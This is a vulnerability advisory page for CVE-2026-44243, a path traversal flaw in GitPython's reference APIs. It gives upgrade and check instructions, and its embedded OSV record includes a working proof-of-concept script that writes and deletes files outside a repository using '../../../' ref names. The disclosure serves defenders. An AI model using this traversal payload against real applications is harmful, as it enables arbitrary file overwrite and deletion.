CVE-2026-44243: GitPython Path Traversal Vulnerability
HIGHCVE-2026-44243 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting GitPython libraries in the PyPI ecosystem. The issue involves gitpython reference apis has a path traversal vulnerability that allows arbitrary file write and delete outside the repository. Remediation is available by upgrading affected packages to version 3.1.48.
CVE-2026-44243 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-44243
To remediate this vulnerability, upgrade all affected GitPython dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install GitPython>=3.1.48
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show GitPython
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-44243, inspect your installed packages using pip:
pip show GitPython
Analyze the terminal output to locate any version of GitPython in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.48), your application is affected.
Note: The pip show GitPython command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In GitPython, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44243 Affected GitPython Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
GitPython
|
PyPI |
< 3.1.48
|
3.1.48
|
References
Frequently Asked Questions
What is CVE-2026-44243?
Which GitPython versions are affected?
What version fixes CVE-2026-44243?
Is GitPython affected?
What is the CVSS score of CVE-2026-44243?
What CWE is associated with CVE-2026-44243?
How can I check PyPI dependencies for CVE-2026-44243?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7545-fcxq-7j24",
"modified" : "2026-05-08T21:52:16Z",
"published" : "2026-05-06T19:38:48Z",
"aliases" : [ "CVE-2026-44243" ],
"summary" : "GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository",
"details" : "## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n ...\n fpath = self.abspath\n assure_directory_exists(fpath, is_file=True)\n\n lfd = LockedFD(fpath)\n fd = lfd.open(write=True, stream=True)\n ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n full_ref_path = cls.to_full_path(path)\n abs_path = os.path.join(repo.common_dir, full_ref_path)\n if os.path.exists(abs_path):\n os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n new_path = self.to_full_path(new_path)\n new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n ...\n os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir = {repo_dir}\")\nprint(f\"outside_write = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n print(\"[+] outside_write content:\")\n print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir = ...\\gp-ghsa-poc\\repo\noutside_write = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n SymbolicReference._check_ref_name_valid(path)\n\n base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n target = (base / path).resolve()\n\n if base not in [target, *target.parents]:\n raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "GitPython"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.48"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.47"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44243"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gitpython-developers/GitPython"
}, {
"type" : "WEB",
"url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T19:38:48Z",
"nvd_published_at" : "2026-05-07T19:16:02Z"
}
}